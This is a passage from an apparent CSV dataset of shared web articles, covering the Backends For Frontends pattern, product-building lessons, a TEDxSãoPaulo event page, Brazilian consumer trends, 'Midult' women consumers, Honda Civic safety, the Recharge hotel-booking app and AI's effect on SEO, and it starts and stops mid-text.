concerns As we discussed earlier, another way to factor out this duplication could be to use a shared library. Assuming your BFFs are using the same technology, this shouldn't be too difficult, although the usual caveats about shared libraries in a microservice architecture apply. When To Use For an application which is only providing a web UI, I suspect a BFF will only make sense if and when you have a significant amount of aggregation required on the server-side. Otherwise, I think other UI composition techniques can work just as well without requiring an additional server-side component (I'll hopefully talk about those soon). The moment that you need to provide specific functionality for a mobile UI or third party though, I would strongly consider using a BFFs for each party from the outset. I might reconsider if the cost of deploying additional services is high, but the separation of concerns that a BFF can bring make it a fairly compelling proposition in most cases. I'd be even more inclined to use a BFF if there is a significant separation between the people building the UI and downstream services, for reasons outlined above. Further Reading (And Viewing) Since I wrote this piece, Lukasz Plotnicki from ThoughtWorks has published a great article on SoundCloud's use of the BFF pattern Lukasz being interviewed about the pattern (and other things) on a recent episode of the Software Engineering Podcast. Bora Tunca from SoundCloud also goes into more detail during a talk at microxchg 2016. Conclusion Backends For Frontends solve a pressing concern for mobile development when using microservices. In addition they provide a compelling alternative to the general-purpose API backend, and many teams make use of them for purposes other than just mobile development. The simple act of limiting the number of consumers they support makes them much easier to work with and change, and helps teams developing customer-facing applications retain more autonomy. Thanks go to Matthias Käppler, Michael England, Phil Calçado, Lukasz Plotnicki, Jon Eaves, Stewart Gleadow and Kristof Adriaenssens for their help in researching this article, and Giles Alexander, Ken McCormack, Sriram Viswanathan, Kornelis Sietsma, Hany Elemary, Martin Fowler, Vladimir Sneblic, and Pete Hodgson for general feedback. I'd really appreciate any further feedback too, so feel free to leave a comment below! See more patterns .",en
1464977096,CONTENT SHARED,-7454907763335725103,-108842214936804958,790346380233913624,,,,HTML,https://medium.com/the-year-of-the-looking-glass/building-products-91aa93bea4bb,Building Products,"Building Products I recently gave a talk at TNW Europe about a framework we use at Facebook to help us focus our product development process . Working on that talk got me thinking about the many other lessons I've internalized over the years about what it takes to build great products. This list is not complete nor certain. If there were some perfect step-by-step instruction manual out there ( Step 1: Start with inspiration. Step 2: ??? Step 3: Profit! ), then we'd shell out good money for it and then pat ourselves on the back while watching amazing new products bloom around us like flowers fields in May. The journey is 1% finished. Let's keep trekking and learning. On Framing A product succeeds because it solves a problem for people. This sounds very basic, but it is the single most important thing to understand about building good products. The first step in building something new is understanding what problem you want to solve, and for whom. This should be crystal clear before you start thinking about any solutions. The second question you should ask yourself is ""why is this particular problem worth solving?"" If the audience you are building for is narrowly defined (and one that you are a part of), then you may be able to rely on your intuition to guide your product decision-making. If not, then you should rely on research and data to inform your decisions. If you are a start-up founder, your path will be easier if you go after a problem for a narrowly-defined audience, and then expand to broader audiences after you have some initial traction. The problem you're trying to solve should be easy to communicate in a sentence or two and resonate with someone from your target audience. If not, consider that a big red flag. Execution Good execution is about getting to believable conclusions in the shortest amount of time possible. Bad execution is when you try something that fails and a) you can't really draw lessons out of that failure that would apply to a future project (because you don't know why it failed) or b) it took you a year to learn a particular lesson when a smarter path would have let you learn the same thing in 3 months. What typically separates successful and unsuccessful teams is not whether they do things that fail (this is guaranteed), but how well they can consistently execute. When exploring solutions for a particular problem, go broad before going deep. Brainstorm 10, 20, 50 solutions for the problem before getting into the mindset of picking a ""winner"". The first 5 ideas will be the obvious ones. Creativity happens when you start to explore the 11th, 20th, or 50th idea. If you're presenting a product plan and someone asks ""have you considered trying X instead?"" and your answer is ""No,"" that is a red flag that your exploration process was not rigorous enough. Use empirical evidence to help you narrow down the best idea(s) out of the ones you brainstormed. (For instance, pick the top N favorites from the team, design or prototype those out in higher fidelity, and put them in front of people to gauge their reactions). Once you've figured out the particular solution you want to execute towards, frame it in terms of a hypothesis - what are you assuming will happen if you build this? (e.g. ""The problem we want to solve is ensuring that every city resident knows what local events are going on every weekend. Our hypotheses is that we can reach X% of residents through an e-mail digest."") You should constantly be looking for ways to short-circuit vetting your hypothesis. Can you run your idea by some people on the street and see if it's understandable? Can you run a survey targeted to your audience and gauge whether enough people are interested enough in the idea? Can you quickly build a version that gets you a clear conclusion, even if it's not as complete as the vision you have in your head? Once you have clear indication of positive signal on your hypothesis, don't assume you need to rush to ship whatever you tested right away (as you may have taken some shortcuts to get a signal faster.) Instead, make a separate, intentional decision about what the bar is for full launch when it comes to polish and additional functionality. What's acceptable to test and what's acceptable to ship broadly should have different criteria. If you're embarking on a big project involving a lot of different changes, see if you can split up the changes into smaller, independently testable milestones. Don't fall into the trap where you make five changes, get a bad result, and now have to figure out which change(s) were responsible. Do a team post-mortem after every project, regardless of success or failure. What product lessons did you take away? What team lessons? What would you do differently in the future? Then, share these learnings with the whole company. Measuring success How you measure success is critical to the long-term results of your team because it's the thing that people rally around. Make sure to give this exercise the proper time and attention (more, even, than you would give to thinking about ""how should we do this?""). Define what success metrics look like for your product before you launch. Otherwise, if you try to interpret results after they start coming in, confirmation bias will lead to a non-objective reading. For each success metric, come up with a good counter metric that would convince you that you're not simply plugging one hole with another. (For example, a common counter metric for measuring an increase in production is also measuring the quality of each thing produced.) If an important metric moves unexpectedly, whether positively or negatively, your first question should be ""why?"" Don't try to develop strategies to boost/counteract what's going on before you fully understand the why. Use the Crystal Ball technique to help you pick the right ways to measure success. Ask yourself ""If I could know anything in the world about how people are using my product, what would I want to know to in order to tell me whether or not my product was successful?"" (Typically the answer people come up with is not #of clicks on a button but something more abstract like How many people who used my product received value from it? ) From that answer, work backwards to get to a measurable metric that best approximates what you're trying to get at. Your goals should always be set with the best information you currently have. If you were working towards a predefined goal and then discover new information that changes your understanding of the world, consider whether you should adjust your goals based on that new information. If you work on a team where you don't understand or agree with how the team measures success, bring that up right away. It's better to hash through these things earlier rather than later given how fundamental this alignment is to productivity and good execution. If you find yourself constantly getting into debates with your teammates about product direction, the root cause is probably a disagreement in the way you're measuring success. See if you can articulate your concerns in the form of a new proposal to measure success. If you are trying to figure out whether your product has product-market fit (versus trying to optimize or scale), you're better off goaling on retention (how many people use your product and then love it enough to come back?) rather than on engagement or # of users. Team Dynamics Thinking in terms of your role (what's expected of a designer? What's expected of an engineer?) will cap your ability to have impact. Instead, think in terms of "" What can I do that will most help my team be successful?"" Teams that fall in love with a problem have more successful outcomes than teams that fall in love with particular solutions. This is because knowing that a problem is worth solving continues to be motivating even when a team doesn't come across the right solution on the first, second, or Nth try. Always assume best intentions. I mean, at the end of the day, everyone wants the same thing - to build something great. You might be wrong some small % of the time, but you'll still be saving yourself a great deal of unnecessary drama. Understand what you're uniquely good at, and what your teammates are uniquely good at. Then, divvy up team responsibilities in a way that acknowledges those strengths. Good communication is the key to a healthy team. Every member of the team should feel like they can safely express their viewpoints, even if those views are contrarian. Diversity of opinions is how you get the best results. So don't be afraid to express your view, don't be afraid to repeat them if you're not sure people heard or understood you fully, and strive to create that safety for others.",en
1464978469,CONTENT SHARED,-3405516291669853723,3609194402293569455,5948717978946018172,,,,HTML,https://www.sympla.com.br/tedxsaopaulo__67473,TEDxSãoPaulo,"Descrição do evento e participe do maior evento TEDx no Brasil, e um dos maiores eventos TEDx do mundo! O primeiro a ser organizado num estádio de futebol! Trabalhamos com licença de TED, uma organização sem fins lucrativos basada em Nova Iorque. A licença é TEDxSãoPaulo. Por favor usar sempre o nome completo TEDxSãoPaulo. Dessa forma, escrito todo junto e sem espaços. TEDxSãoPaulo é um evento que depende da co-criação e da participação de muitas pessoas e organizações para existir! Como você pode contribuir? De muitas formas! Se quiser uma proposta de patrocínio ou se quiser falar sobre parcerias , entre em contato conosco: tedxsaopaulo@gmail.com 10h00-11h00 - Cadastramento 11h15-13h15 - Bloco 1 13h15-14h45 - Intervalo 14h45-16h30 - Bloco 2 Ao participar do TEDx SãoPaulo , você concede, a título gratuito e definitivo, a captação e o uso da sua imagem em fotografias, filmes, vídeos, impressos e em qualquer outra mídia (conhecida ou não), sem qualquer outra autorização adicional, para a divulgação do evento, no Brasil ou no exterior. apresentador de televisão. Trabalhou para MTV, National Geographic, Globo e Bandeirantes. O que mais gosta é ouvir histórias. @caze Cazé Peçanha , Didi Wagner , apresentadora de televisão, começou sua carreira na MTV e atualmente trabalha no canal Multishow da Globosat, apresentando o programa de viagens ""Lugar Incomum"" - no ar desde 2006 - além de fazer a transmissão ao vivo dos principais eventos de música como Rock In Rio e Lollapalooza. Este ano, estreiou no canal um projeto novo chamado ""A pergunta que não quer calar"". @didiwagner Leo Madeira , apresentador de televisão. Trabalhou para MTV e Canal Futura. @Madeirite Palestrantes Angélica Dass, fotógrafa brasileira, atualmente reside em Madrid. Seu projeto Humanae é um inventário cromático que busca documentar as verdadeiras cores da humanidade em vez do falso branco, vermelho, preto e amarelo que são associados com cada raça. Nesta taxonomia a cor da pele e a raça são conceitos mais complexos do que podem parecer à primeira vista. Bel Pesce , empreendedora, estudou no renomado Massachusetts Institute of Technology (MIT). No Vale do Silício, liderou três times de engenheiros na companhia americana Ooyala. Fundou empresas como a startup Lemon Wallet e lançou seu primeiro livro ""A Menina do Vale"". Voltou ao Brasil e fundou a FazINOVA, escola de habilidades com a missão de desenvolver talentos e transformar o Brasil em um país mais empreendedor. Bruno Kioshi , músico formado pela EM&T (Escola de Música e Tecnologia), decidiu colocar a carreira de engenheiro em segundo plano para caminhar com as próprias pernas na indústria musical. Fundador da banda Kick Bucket, Bruno desenvolveu sua bucket drums (bateira de baldes) usando elementos inusitados buscando timbres diferentes e substituindo elementos da bateria convencional. Tocando uma mistura de jazz, soul, funk e eletrônico pelas ruas da cidade, sua banda integra o circuito reconhecido da street music pelo projeto Street Music Map. Lançando seu primeiro EP neste ano de 2016, o músico já palestrou no festival Path, esteve presente no line-up da Campus Party Brasil e em festivais nacionais, como o João Rock 2015. Camila Acchutti , sócia-fundadora da Ponte21, consultoria de inovação e tecnologia que promove a conexão da tecnologia com as pessoas. É influenciadora digital na FIAP, onde lidera a Semana da Mulher na Tecnologia e a Maratona de Aplicativos, iniciativa nacional de fomento ao ensino de programação. É uma das líderes do movimento por igualdade de gêneros no mercado de TI. Recebeu o prêmio Women of Vision 2015 e foi incluída na lista das 24 mulheres que estão mudando o mundo da revista Marie Claire. Camila Agone , jovem empreendedora e estudante de engenharia na Universidade Federal do ABC, ex-aluna da rede pública, ainda no ensino médio ganhou um prêmio da Secretaria de Educação do Estado de São Paulo com um projeto sobre o poder medicinal da embaúba. Clóvis de Barros Filho , professor, teve suas aulas e palestras sobre ética ouvidas por milhões de pessoas em todos os estados do nosso país e também em vários outros como Espanha, França, Uruguai, México, Argentina e Portugal. Doutor e livre-docente pela ECA-USP, atua no mundo corporativo desde 2005 através do Espaço Ética, atendendo empresas dos mais diversos portes e ramos de negócios pelo Brasil. @clovisdebarros David Arzel, professor de Yoga especializado em crianças, com formação na Espanha e França. Filho de uma professora de Yoga, ele pratica a modalidade desde criança e a ensina aos seus dois filhos desde bebês. Fundou a Yoga for Kids e participa da Yoga for All, dando aulas para crianças em parques públicos de São Paulo. @DavidPlanter Duília de Mello , mestre em astronomia pelo INPE, doutora em astronomia pela USP e pós-doutora pelo Space Telescope Science Institute , entre outros títulos, Duilia é professora na PUC de Washington DC e pesquisadora associada da NASA Goddard Space Flight Center . Duas das suas descobertas recentes incluem berçários de estrelas jovens que nasceram da colisão de galáxias e a maior galáxia espiral do universo. Seu livro Vivendo com as Estrelas motiva jovens a estudarem ciências e seguirem seus sonhos. @mulherestrelas Dream Team do Passinho é um dos grupos do movimento Passinho, tipo de dança muito popular nos bailes cariocas. Formado por Diogo Breguete, Hiltinho, Lellêzinha, Pablinho e Rafael Mike, o grupo foi montado em 2013, após vencer a Batalha do Passinho, uma competição entre várias comunidades do Rio de Janeiro. Em 2015 gravaram seu primeiro CD, ""Aperte o Play"". Drica Guzzi, coordena na Escola do Futuro da USP o Programa Acessa SP, política pública de inclusão digital do Governo do Estado de São Paulo, entre outros projetos e pesquisas. Tem doutorado e mestrado em Comunicação e Semiótica pela PUC-SP e graduação em Engenharia de Alimentos pela UNICAMP. É autora do livro Web e Participação - A democracia no século XXI (3º lugar no Prêmio Jabuti 2011), além de vários artigos na área da Educação e Tecnologia. É ativista da banda larga para todos, acredita no uso inteligente dos dados e na potência da ação coletiva. @dricaguzzi Estela Renner , cineasta, diretora, roteirista e sócia da produtora Maria Farinha Filmes. Formada em Comunicação Social e Artes Cênicas em São Paulo, morou sete anos nos Estados Unidos, entre Nova York, Los Angeles e Miami, onde estudou cinema na Universidade de Miami. Recentemente lançou ""O começo da vida"", um documentário sobre os três primeiros anos da vida de uma criança e a importância deles para a formação do ser humano. @EstelaRenner Fernando Tsukumo , fundador do Sua Vez, empresa que reúne suas três maiores paixões: pessoas, jogos e educação. Utilizando o jogo como plataforma de imersão e discussão, busca realizar o sonho de contribuir para melhores relações familiares, gerando positividade, empatia e colaboração entre as pessoas no ambiente de trabalho, e promover o espírito de cidadania no mundo. Além disso, multiplica essas ações através da formação de pais, professores e formadores, trazendo consciência para a educação lúdica. Jamerson Mancio, estudante de Pedagogia na Universidade Federal de Juiz de Fora. Questionador, foi expulso de três escolas durante a adolescência, mesmo tendo ótimas notas. Hoje é um apaixonado pela educação, um ""guerreiro sem armas"" e um grande incentivador da criação de um modelo novo de ensino, mais alinhado à sociedade atual. Luis Junqueira , estudava Economia quando se envolveu com educação dando aulas de redação no projeto de extensão comunitária Cio da Terra, na Unicamp. Largou a Economia para estudar Letras e virou professor de português do ensino fundamental em um colégio de São Paulo. Desenvolveu o projeto Primeiro Livro, que incentiva crianças e adolescentes a escreverem histórias e publicarem seus primeiros livros. Renata Meirelles, formada em Educação Física e é mestre pela Faculdade de Educação da USP. Há muitos anos ela viaja por todas as regiões do país, propondo momentos lúdicos com as crianças e registrando as atividades por meio de vídeos, fotografias e áudios. Foi assim que desenvolveu seus dois projetos, o BIRA - Brincadeiras Infantis da Região Amazônica, no qual registrou as brincadeiras das crianças da Amazônia, e o Território do Brincar, que gerou um filme de longa-metragem, dois livros e duas séries infantis para TV, além de filmes de curta metragem, artigos e uma exposição itinerante em 2014/15. Rodolpho Martins , ou Dodô, é um inquieto pedagogo, músico por atrevimento, especialista em Jogos Cooperativos. É também consultor organizacional, empreendedor social e palestrante internacional, tendo atuado em diversos países em 3 continentes. Criador dos Programas Musicooperação e 8UP e coautor do livro Circulando Cooperação, leciona atualmente nas universidades UNIP e Vera Cruz nos cursos de pós-graduação em Pedagogia da Cooperação e Metodologias Colaborativas, e em Educação Lúdica. Trio Titanium , formado por três talentos da música erudita que se uniram a um DJ e resolveram radicalizar suas carreiras, embarcando em um mix da música eletrônica com a música clássica. O trio inclui violino, viola e violoncelo, e toca de David Guetta a Beethoven. Tulio Schargel, diretor e produtor de filmes com especialização em cinegrafia subaquática. Ele é apaixonado pela natureza e acredita que um mundo melhor pode ser alcançado pela observação e compreensão dos comportamentos dos seres vivos e as dinâmicas de seus biomas. Há mais de 30 anos fazendo imagens subaquáticas e com 17 documentários realizados para TVs de vários países, teve sua vida deliciosamente invadida pela educação ao transformar um de seus premiados filmes em um projeto didático-cultural inovador: o Mega Fauna, já visto por mais de 25 mil pessoas. Oficinas Durante os intervalos teremos workshops e oficinas oferecidos pelos nossos parceiros: Instituto Alana, Instituto Singularidades, Fundação Telefónica, Grupo SEB, Universidade São Judas, Drinkfinity, Beenoculus, MundoMaker, entre outros. Telescópios e Planetário Também teremos 5 telescópios e um planetário itinerante! *** Programação sujeita a alterações*** TEDxSãoPaulo terá transmissão ao vivo. Publicaremos o link na nossa página de TEDxSãoPaulo : no Facebook e twitter.com/TEDxSaoPaulo fb.com/TEDxSP SOBRE INSCRIÇÃO ONLINE SYMPLA A inscrição é pessoal (nominal) e será conferida digitalmente. É indispensável a apresentação de um documento de identificação com foto. A transferência de titularidade só será aceita até 48 horas antes do dia do evento, entre em contato com suporte@sympla.com.br Cancelamentos serão aceitos no prazo de 7 (sete) dias corridos, contados a partir da data da inscrição e desde que 48 horas antes do início do evento. Caso não tenha recebido a inscrição em seu e-mail, você pode acessá-la a qualquer momento, através do menu ""Meus pedidos"" na Sympla, ou entre em contato através do e-mail suporte@sympla.com.br . Dúvidas sobre a forma de processamento do seu pagamento entre em contato direto com o processador de pagamentos MoIP: atendimentosympla@moip.com.br . MAPA DE SETORES DO EVENTO",pt
1464982050,CONTENT SHARED,-5410531116380081703,2416280733544962613,3686082102675618374,,,,HTML,http://www.mckinsey.com/industries/consumer-packaged-goods/our-insights/meet-the-new-brazilian-consumer,Meet the new Brazilian consumer,"Amid one of the country's most severe recessions, how can consumer-goods companies and retailers succeed in Brazil? So much can change in just a few years. For most of the past decade, up until a couple of years ago, Brazil enjoyed a dramatic boom in consumption. Thirty-five million Brazilians-18 percent of the population-ascended to the middle class. As of 2012, Brazil's middle class encompassed 115 million people, or more than half of all Brazilians. But economic conditions in Brazil have taken a negative turn. Today, the country is facing one of the most severe recessions in its history. Will this recession be a short-term dip or a long slog? How are consumers changing their buying behavior? What can consumer-packaged-goods (CPG) and retail companies expect, and how should they adjust? What can Brazil learn from other countries' postrecession experiences-and are those lessons even applicable in Brazil? Our survey methodology Our recent survey of 1,000 Brazilian consumers confirms that most of them are indeed worried about their financial prospects and curtailing their spending. The Brazil survey was part of our broader global survey involving more than 22,000 respondents in 26 countries. Our aim in conducting the survey was to understand how consumers feel about their financial prospects and how these sentiments are affecting their buying behavior (see sidebar, ""Our survey methodology""). We found that even amid sharp declines in consumer confidence and private consumption, consumer companies can still find pockets of opportunity in Brazil. Cautious, concerned, and conservative Consumer confidence in Brazil was the lowest among 26 countries surveyed: only 8 percent of Brazilians were optimistic about the national economy (Exhibit 1). This bleak outlook is a departure from the positivity and optimism that Brazilians have historically displayed even in troubled times. It appears that the country's most recent economic woes have significantly shaken Brazilians' confidence. Fully 72 percent of Brazilians said they were worried that someone in their household would lose a job in the next year, and 49 percent said they were living paycheck to paycheck. A bump up in income wouldn't spur Brazilian consumers to spend much more. Even if their earnings were to rise by 10 percent, they said they'd spend only one-fourth of that extra money, much of it on everyday necessities such as food and drink. Almost half of the extra income would go toward savings and one-third toward paying off debt. Five attributes The survey responses brought to light a set of behavioral shifts among Brazilian consumers. Most of these behaviors are also evident among consumers elsewhere in the world, but they are amplified and intensified in Brazil. Consumer companies operating in the country would do well to view these shifts as a call to action. 1. They proactively search for savings. Consumers in Brazil are changing their buying behaviors in a variety of ways. Almost three out of every four respondents in Brazil agreed that they're ""increasingly looking for ways to save money"" (Exhibit 2). More than half said they are paying more attention to prices, actively looking for sales and promotions or delaying purchases. Many are also shopping at multiple stores to find the best deals or waiting for products to go on sale. In addition, Brazilian consumers are making thriftier food choices, with 42 percent saying they chose to eat at home more in the past year. 2. Some remain brand loyal-but only if the price is right. More than one-third of Brazilians claimed they haven't abandoned their preferred brands but are shopping around to find retailers that sell these brands at lower prices; 19 percent are purchasing in smaller quantities; and 14 percent are waiting until the brands are on sale or buying only with discount coupons (Exhibit 3). 3. Once they 'trade down,' they might not go back. Twenty-one percent of Brazilian consumers (versus 12 percent globally) said they traded down to less expensive brands. This number varied considerably by category; laundry supplies, household-cleaning products, and bottled water had the highest trade-down rates. Only 18 percent of consumers who traded down opted for private-label products. By contrast, in Latin America as a whole, 26 percent of down-traders chose private-label products; in more mature markets such as the United Kingdom and the United States, the figures were above 60 percent. Indeed, private-label or store brands in Brazil, although growing, still account for only a small fraction of total retail sales (5.1 percent, equivalent to approximately $970 million, according to data from Nielsen). Among Brazilian down-traders, 60 percent said they don't intend to go back to the more expensive brand (Exhibit 4). It's worth noting that US and European consumers who traded down during the global financial crisis have only recently begun to trade up again. If Brazil follows the same pattern, down-traders in Brazil will be trading down for at least the next few years. 4. There are splurgers in select categories. Even as most Brazilians sought to save money, some opted to trade up in certain categories. Although Brazil's trade-up rate of 5 percent is much lower than the global average of 11 percent, it's still meaningful in the handful of categories that clearly matter to consumers-in particular, alcoholic beverages and personal-care products. For example, 15 percent of consumers indicated they traded up in beer, 11 percent in wine, 10 percent in spirits, and 9 percent in cosmetics. Interestingly, in beer, a higher percentage of consumers stated having traded up versus traded down (12 percent). 5. They shop across channels. Brazilian consumers are shifting some of their spending to discount chains and the cash-and-carry format known locally as atacarejo , which combines both retail and wholesale. This trend isn't unique to Brazil: in more mature markets, such as the United Kingdom, consumers have already shifted much of their spending to discounters and are beginning to make distinctions between discount and ""premium"" discount. However, one channel that has made huge strides in some developed markets-the online channel-isn't yet a factor in Brazil's grocery categories. Imperatives for consumer companies In light of these new consumer behaviors, how can consumer-goods companies and retailers position themselves for success in a tough economic environment? In our view, they would be wise to act on the following imperatives. At every price point, think 'value for money.' With many consumers seeking savings opportunities, brands must give consumers solid reasons to choose their product over lower-priced alternatives. That means emphasizing not just the emotional attributes of a product but the functional benefits as well. They need to communicate a clear value proposition that resonates with consumers. Consider the success of salon-quality hair-care brands in several markets, including Brazil and the United States: these brands have been able to persuade consumers that they're getting good value for money, even though the salon-quality brand might be twice as expensive as their old shampoo brand. Urban world: The global consumers to watch Read the article Invest in advanced revenue-growth-management capabilities. By investing in cutting-edge revenue-growth-management solutions and analytical talent, leading companies arrive at data-driven answers to critical questions like these: Which promotions are most effective and why? How should prices and promotions be communicated? Based on these insights, companies determine optimal tactics and then devise granular strategies for their brands, portfolio, and promotions-and refine these strategies for each channel, customer segment, and region. Find granular opportunities for growth. To survive and thrive in Brazil's challenging economic environment, CPG companies and retailers need a granular, data-driven approach to identify pockets of growth. Consumption growth can vary considerably, both by region (for example, certain small and medium-size cities in Brazil's countryside are projected to grow at higher rates than state capitals) and by category (juices, for instance, are growing at two to three times the rate of carbonated drinks). Furthermore, a category's growth rates can vary significantly across cities and states. Review price architecture to capture both up-traders and down-traders. During downturns, Brazilians tend to gravitate to either high-end or low-end brands. CPG companies should have a clear and complete price architecture, with a premium offering to attract up-traders and a compelling low-priced offering aimed at down-traders and mass consumers. Higher-end products can justify their price points through a rich narrative (such as an artisanal process or a unique provenance) or new features. Value offerings, on the other hand, could emphasize bulk sizes, ""basic"" value cues in packaging or design, and no-frills but reliable quality and performance. Retailers, too, should consider offering a wider range of both high-end and low-end brands. Be thoughtful about channel changes. With Brazilian consumers doing more of their grocery shopping in discount and cash-and-carry formats, CPG manufacturers must launch initiatives to serve these fast-growing channels. Such initiatives might include the creation of exclusive SKUs, second-tier brands, or new pack sizes (especially as Brazilians have shown a willingness to buy in bulk and to engage in ""community shopping,"" or sharing their purchases with family and friends). Relentlessly optimize investments and operations. Efficiency is an imperative. Companies must untiringly pursue opportunities to optimize returns on their marketing investments, excel in store operations, and improve sales-force effectiveness. No drivers of value should remain unexplored; no excuses for delaying improvement initiatives should be made. The time is now to improve performance and efficiency and aim for excellence. In the early part of the past decade, for many consumer companies, building a strong presence in Brazil was synonymous with capturing rapid growth. We believe that, in the long run, the country will resume its growth trajectory-but in the current environment, the six imperatives discussed above must be at the top of the executive agenda. Efficiency, in particular, is crucial for any company that hopes to succeed in Brazil. About the author(s) Mariana Donatelli is an associate principal in McKinsey's São Paulo office, where Fernanda Hoefel is a partner, Suzana Resstom is an analyst, and Fábio Stul is a senior partner. Report - McKinsey Global Institute",en
1464993578,CONTENT SHARED,-668191656681035303,-5527145562136413747,-2786183626396921295,,,,HTML,http://www.stylourbano.com.br/geracao-midult-o-poderoso-grupo-de-mulheres-consumidoras-de-35-a-55-anos/,Geração Midult: o poderoso grupo de mulheres consumidoras de 35 a 55 anos,"As jornalistas Annabel Rivkin e Emilie McMeekan desenvolveram uma nova plataforma digital voltada a ""tribo esquecida"" das mulheres maduras com idades entre 35 e 55 anos, denominadas de ""Midults"". Os millennials, a geração de consumidores nascida entre 1980 até meados dos anos 90, são super paparicados pelas empresas e pela mídia mas eles não têm o poder de compra dos seus colegas mais velhos da geração Midult. As mulheres de 35 a 55 anos de idade são um dos grupos de consumidoras mais poderosas, e segundo a equipe do The Midult , essas mulheres representam de 70 a 80% dos gastos dos consumidores em todo o mundo . Segundo as jornalistas: "" Estas mulheres são bem-sucedidas, digitalmente alfabetizadas, obcecadas com o Instagram e têm muito rendimento disponível. Fundamentalmente, as suas motivações e desejos são mal compreendidos ou completamente ignorados por muitas das suas marcas favoritas."" Emilie McMeekan acrescenta que ""desde os serviços financeiros às viagens - para não mencionar automóveis e cuidados de saúde - são as midults quem detém o poder de tomada de decisão sobre muitos indivíduos das gerações de boomers, millenials e adolescentes"". Mas quem é este novo grupo demográfico e o que é necessário saber sobre ele? Eis os quatro eixos principais da introdução às midults. 1- Proporcionalmente, há mais midults do que millennials online todos os dias, de acordo com o Instituto Nacional de Estatística americano. 84% das mulheres adultas situadas entre os 35 e os 44 anos e 76% das situados entre 45 e os 54 são utilizadoras diárias de Internet, principalmente no telemóvel. 2- Enquanto isso, 82% dos millennials navegam diariamente. 3- Estão tão predispostas como os millennials a partilhar conteúdo criado por marcas e editores nas redes sociais. Além disso, 72% usam a Internet principalmente pelas redes sociais. 4- São um atalho para os boomers e para a geração Z. Porquê? Porque 47% destes elementos são financeiramente responsáveis quer seja por um pai (boomers), quer seja por uma criança (Z's), de acordo com o Pew Research Center. E uma em cada sete destas mulheres é financeiramente responsável por ambos. 5- São movidas por pesquisas. Precisam de provas (nos motores de busca ou em fóruns de discussão onde os seus pares intervêm) antes de adquirirem um produto. Fonte: WGSN",pt
1465046193,CONTENT SHARED,-927862226557602150,-2042597956641525807,-1282867252363762331,,,,HTML,http://revista.webmotors.com.br/lancamentos/novo-honda-civic-e-eleito-o-carro-mais-seguro-dos-eua/20161191113724_1?utm_source=outbrain&utm_medium=cpc,Novo Honda Civic é eleito o carro mais seguro dos EUA,"Segundo instituto, nova geração é o melhor em cinco quesitos de segurança Texto: Redação Webmotors | Foto: Divulgação 19/01/2016 Depois de receber o tão desejado título de Carro do Ano nos Estados Unidos, a nova geração do Honda Civic segue empilhando troféus. Desta vez, ele foi eleito o carro mais seguro dos EUA, segundo o IIHS, instituto independente focada em segurança veicular e rodoviária. A décima geração foi premiada com o Top Safety Pick+, recebendo a classificação ""Bom"" em cinco testes de colisão. Ele ainda foi categorizado como ""Superior"" em prevenção de colisão frontal, graças ao novo Honda Sensing, sistema que abraça sensores de mudança involuntária de faixa, piloto automático adaptativo, alerta de colisão e freio automático, de série na versão mais cara, chamada de Touring. O novo Civic chega ao Brasil na segunda metade deste ano , equipado desde a versão mais básica com Controle de tração e estabilidade, ABS de quatro canais e muitos outros equipamentos de segurança. Redação Webmotors Com combustível de alta octanagem correndo pelas veias, a equipe de jornalistas do Webmotors está sempre acelerando em busca das informações mais relevantes para quem está à procura do melhor negócio ou é apenas mais um aficionado por carros!",pt
1465051057,CONTENT SHARED,-43795168179752761,-1032019229384696495,-4653301734362230570,,,,HTML,http://techcrunch.com/2016/06/03/recharge-used-to-book-hotel-rooms-by-the-minute-raises-2-3-million/,"Recharge, used to book hotel rooms by the minute, raises $2.3 million","Recharge , a year-old, San Francisco-based company whose app enables users to book a stay in hotel for just for 67 cents a minute, or $40 an hour, has closed on $2.3 million in seed funding. Binary Capital led the round, with participation from Floodgate, entrepreneur Rick Marini, Eniac VC, Expansion VC, entrepreneur-investor Scott Banister and early Google engineer Harry Cheung. We talked with the company in March , and at the time, it had already partnered with Hyatt and Starwood Properties in San Francisco, where a Recharge user can stay as long as he or she likes and the hotel will clean the room afterward. In a quick exchange this morning, CEO Emmanuel Bamfo told us that some more properties are coming online soon, but he declined to discuss the details. Recharge splits the revenue with each property, depending on the day and time and time of the month that the hotel's rooms are being booked. When we interviewed Recharge, we noted that the app could appeal to people looking to conduct extracurricular activities during working hours (wink), something its hotel partners might not like for long. But Bamfo and Recharge's new investors clearly see the app as having far broader appeal. Think of the person who works far from home and may want to shower a business dinner, or practice a speech in privacy, or breastfeed a baby. Certainly, hotels seem to like the prospect of making better use of their empty rooms. Yet another startup, Hotels By Day , has inked partnerships with several hotels in New York, San Francisco, and L.A. that allow users to book a hotel during working hours rather than overnight. The key word in its marketing materials: daycation.",en
1465067153,CONTENT SHARED,-5778988730475305016,-1032019229384696495,-4653301734362230570,,,,HTML,http://techcrunch.com/2016/06/04/artificial-intelligence-is-changing-seo-faster-than-you-think/,Artificial intelligence is changing SEO faster than you think,"By now everyone has heard of Google's RankBrain , the new artificial intelligence machine learning algorithm that is supposed to be the latest and greatest from Mountain View, Calif. What many of you might not realize, however, is just how fast the SEO industry is changing because of it. In this article, I'll take you through some clear examples of how some of the old rules of SEO no longer apply, and what steps you can take to stay ahead of the curve in order to continue to provide successful SEO campaigns for your businesses. So what is artificial intelligence? There are generally three different classifications of artificial intelligence: Artificial Narrow Intelligence (ANI): This is like AI for one particular thing (e.g. beating the world champion in chess). Artificial General Intelligence (AGI): This is when the AI can perform all things. Once an AI can perform like a human, we consider it AGI. Artificial Superintelligence (ASI): AI on a much higher level for all things (e.g. beyond the capabilities of a single human). When we talk about the context of Google's RankBrain, and the machine learning algorithms that are currently running on Google, we are talking about Artificial Narrow Intelligence (ANI). Actually, ANI has been around for some time. Ever wonder how those SPAM filters work in your email? Yep, that's ANI. Here are some of my favorite ANI programs: Google Translate, IBM's Watson, that cool feature on Amazon that tells you products that are ""recommended for you,"" self-driving cars and, yes, our beloved Google's RankBrain. Within ANI, there are many different approaches. As Pedro Domingos clearly lays out in his book The Master Algorithm , data scientists trying to achieve the perfect AI can be grouped into five ""tribes"" today: Google's RankBrain is in the camp of the Connectionists. Connectionists believe that all our knowledge is encoded in the connections between neurons in our brain. And RankBrain's particular strategy is what experts in the field call a back propagation technique, rebranded as ""deep learning."" Connectionists claim this strategy is capable of learning anything from raw data, and therefore is also capable of ultimately automating all knowledge discovery. Google apparently believes this, too. On January 26th, 2014, Google announced it had agreed to acquire DeepMind Technologies, which was, essentially, a back propagation shop. So when we talk about RankBrain, we now can tell people it is comprised of one particular technique (back propagation or ""deep learning"") on ANI. Now that we have that out of the way, just how much is this field progressing? And, more importantly, how is it changing the business of SEO? The exponential growth of technology (and AI) Tim 